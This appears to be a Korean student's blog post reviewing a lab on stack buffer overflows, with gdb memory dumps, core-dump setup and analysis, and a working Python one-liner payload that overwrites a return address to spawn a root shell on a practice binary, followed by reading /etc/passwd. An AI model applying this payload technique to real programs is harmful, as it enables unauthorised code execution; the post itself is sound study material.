본문 바로가기
정보보안

버퍼오버플로우 복습

by IT매니절 2024. 6. 11.

지난 시간 수업 복습

버퍼 오버 플로우 테스트

소스코드 내용
: c언어로 char 변수를 선언한 후, 사용자 입력을 받아 출력하는 프로그램 실행
변수 크기보다 더 큰 입력값을 검증없이 출력할 경우 비정상 동작


( esp는 634이고 ebp는 648 )

a를 16개 입력했을 때 메모리 조사 결과
(gdb) x/12xw $esp
0xffffd634:     0x080485d1      0xffffd63c      0x61616161      0x61616161
0xffffd644:     0x61616161      0x61616161      0xf7e21200      0x00000001
                                                                 └ ebp 위치
0xffffd654:     0xffffd6e4      0xffffd6ec      0xf7fd86b0      0x00000001

a를 20개 입력했을 때 메모리 조사 결과
(gdb) x/12xw $esp
0xffffd634:     0x080485d1      0xffffd63c      0x61616161      0x61616161
0xffffd644:     0x61616161      0x61616161      0x61616161      0x00000000
                                                                 └ ebp 위치
0xffffd654:     0xffffd6e4      0xffffd6ec      0xf7fd86b0      0x00000001

(gdb) x/s $ebp
0xffffd648:     "aaaaaaaa"

 

버퍼오버플로우로 인해 침범당한 ebp와 ret 복귀주소 등등 ...

 

 

core dump란?
프로그램의 세그먼트 폴트 등 비정상 종료가 발생했을 때
커널에서 프로세스와 관련된 메모리를 덤프시킨 파일

이 파일을 디버깅하여 문제의 원인을 찾을 수 있다

리눅스에서는 gcore라는 명령어를 사용해서 코어덤프를 남길 수 있다고 한다

자동으로 만들고자 할 때는 ulimit -a 로 서버 설정을 확인한다
core file size가 0이면 남지 않으므로 ulimit -c unlimited 명령어를 입력해서 수정.

core dump를 gdb로 분석할 예정... 

 

core 덤프 파일은 에러를 일으킨 파일과 같은 디렉터리에 생성된다

(파일 생성 이름 규칙은 /proc/sys/kernel/core_pattern 에서 ... )

 

시간이 늦어서 분석은 다음에 이어함

(0614 추가)

 


[root@localhost ~]# gdb -q ./bof1 core.1107
Reading symbols from /root/bof1...(no debugging symbols found)...done.
[New LWP 1107]
Core was generated by `./bof1'.
Program terminated with signal 11, Segmentation fault.
#0  0x61616161 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686
(gdb) x/xw $esp
0xfffdf9e0:     0x61616161
(gdb) x/16xw $esp-32
0xfffdf9c0:     0x080484e9      0x080485d4      0xfffdf9cc      0x61616161
0xfffdf9d0:     0x61616161      0x61616161      0x61616161      0x61616161
0xfffdf9e0:     0x61616161      0x61616161      0x61616161      0x61616161
0xfffdf9f0:     0x61616161      0x61616161      0x00616161      0x0804a014

 

침범한 문자열들

 

# ./bof1
test function address : 0x80484f0
input string : hello
hello

 

# (python -c 'print("A"*16 + "\xf0\x84\x04\x08")'; cat) | ./bof1
test function address : 0x80484f0
input string : AAAAAAAAAAAAAAAA
^C
Segmentation fault

 

원래 공격이 되어야 하는데 왜 에러가 나는거지? 라고 생각했는데 이게 아니고

 

 

system("/bin/sh") 코드로 권한을 얻는 것이기 때문에

 

[root@localhost ~]# (python -c 'print("A"*16 + "\xf0\x84\x04\x08")'; cat) | ./bof1
test function address : 0x80484f0
input string : AAAAAAAAAAAAAAAA
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
pwd
/root
head /etc/passwd
root:x:0:0:root:/root:/bin/bash

 

명령어를 입력하면 되는 거였다~

 

 

'정보보안' 카테고리의 다른 글

정보보안3 6차시  (0) 2024.06.16
정보보안3 5차시  (0) 2024.06.15
정보보안3 4차시  (0) 2024.06.09
정보보안3 3차시  (0) 2024.06.08
정보보안3 2차시  (0) 2024.06.02